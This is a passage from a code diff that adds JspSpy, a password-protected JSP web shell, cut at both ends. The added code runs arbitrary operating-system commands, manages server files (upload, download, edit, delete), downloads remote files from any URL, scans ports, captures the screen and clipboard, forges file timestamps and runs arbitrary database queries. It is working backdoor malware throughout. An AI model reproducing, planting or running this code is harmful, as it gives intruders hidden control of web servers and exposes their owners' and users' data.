0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
    "); +str = str.replace("\n","
    "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
    "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
    "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
    " + msg; +out.write("
    "+msg+"
    "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    System Clipboard »

    "+ +"

    ");
    +try{
    +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
    +}catch (Exception ex) {
    +out.println("ClipBoard is Empty Or Is Not Text Data !");
    +}
    +out.println("
    "+ +" "+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    Remote Control »

    "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
    "+ +"

    PortScan >>

    "+ +"
    "+ +"

    "+ +"IP : Port : Timeout (秒? : "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
    "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
    "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +out.println("
    "+ +"

    Run SQL query/queries on database :

    "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

    Query#0 : "+Util.htmlEncode(sql)+"

    "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
    "+meta.getColumnName(i)+"
    "+meta.getColumnTypeName(i)+"
    "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

    affected rows : "+obj+"

    "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +"

    Password: "+ +" "+ +" "+ +" "+ +"

    "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
    "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

    File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

    "); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Current Directory
    "+ +"
    "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
    "+ +"
    "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
     NameLast ModifiedSizeRead/Write/Execute 
    =Goto Parent
    0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
    "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
     Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
    "); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
    Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); +out.println("
    "+ +"
    "+ +"

    Set File Property »

    "+ +"

    Current file (fullpath)

    "+ +" "+ +"

    Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

    "+ +"

    Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
    "+ +"
    "+ +"

    Execute Program »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "+ +"

    Execute Shell »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

    "); +out.println("
    ");
    +String command = request.getParameter("command");
    +if (!Util.isEmpty(command)) {
    +Process pro = Runtime.getRuntime().exec(command);
    +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    +String s = reader.readLine();
    +while (s != null) {
    +out.println(Util.htmlEncode(Util.getStr(s)));
    +s = reader.readLine();
    +}
    +reader.close();
    +out.println("
    "); +} +} else { +String program = request.getParameter("program"); +if (!Util.isEmpty(program)) { +Process pro = Runtime.getRuntime().exec(program); +JSession.setAttribute(MSG,"Program Has Run Success!"); +ins.get("vs").invoke(request,response,JSession); +} +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownInvoker extends DefaultInvoker{ +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String path = request.getParameter("path"); +if (Util.isEmpty(path)) +return; +File f = new File(path); +if (!f.exists()) +return; +response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET)); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(f)); +BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); +byte[] data = new byte[1024]; +int len = input.read(data); +while (len != -1) { +output.write(data,0,len); +len = input.read(data); +} +input.close(); +output.close(); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VDown +private static class VdInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String savepath = request.getParameter("savepath"); +String url = request.getParameter("url"); +if (Util.isEmpty(url)) +url = "http://www.forjj.com/"; +if (Util.isEmpty(savepath)) { +savepath = JSession.getAttribute(CURRENT_DIR).toString(); +} +if (!Util.isEmpty(JSession.getAttribute("done"))) { +Util.outMsg(out,"Download Remote File Success!"); +JSession.removeAttribute("done"); +} +out.println("
    "+ +"
    "+ +"

    Remote File DownLoad »

    "+ +"

    "+ +""+ +"Remote File URL:"+ +" "+ +"Save Path:"+ +""+ +""+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DownRemoteInvoker extends DefaultInvoker { +public boolean doBefore(){return true;} +public boolean doAfter(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String downFileUrl = request.getParameter("url"); +String savePath = request.getParameter("savepath"); +if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) +return; +URL downUrl = new URL(downFileUrl); +URLConnection conn = downUrl.openConnection(); +BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); +BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath))); +byte[] data = new byte[1024]; +int len = in.read(data); +while (len != -1) { +out.write(data,0,len); +len = in.read(data); +} +in.close(); +out.close(); +JSession.setAttribute("done","d"); +ins.get("vd").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class IndexInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +ins.get("filelist").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MkDirInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String name = request.getParameter("name"); +File f = new File(name); +if (!f.isAbsolute()) { +String path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path += "/"; +path += name; +f = new File(path); +} +f.mkdirs(); +JSession.setAttribute(MSG,"Make Directory Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MoveInvoker extends DefaultInvoker { +public boolean 